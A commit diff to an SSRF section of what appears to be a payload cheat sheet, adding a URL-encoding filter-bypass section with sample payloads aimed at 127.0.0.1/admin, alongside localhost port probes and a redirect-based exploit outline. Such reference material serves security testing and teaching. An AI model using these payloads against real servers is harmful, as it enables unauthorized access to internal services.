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Added SSRF bypass details #206

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May 13, 2020
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12 changes: 11 additions & 1 deletion Server Side Request Forgery/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding)
* [Bypass using malformed urls](#bypass-using-malformed-urls)
* [Bypass using rare address](#bypass-using-rare-address)
* [Bypass using URL encoding](#bypass-using-url-encoding)
* [Bypass using bash variables](#bypass-using-bash-variables)
* [Bypass using tricks combination](#bypass-using-tricks-combination)
* [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics)
Expand Down Expand Up @@ -76,7 +77,7 @@ http://localhost:443
http://localhost:22
```

Advanced exploit using a redirection
Advanced exploit [using a redirection](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)

```powershell
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
Expand Down Expand Up @@ -177,6 +178,15 @@ http://127.1
http://127.0.1
```

### Bypass using URL encoding

[Single or double encode a specific URL to bypass blacklist](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)

```powershell
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
```

### Bypass using bash variables

(curl only)
Expand Down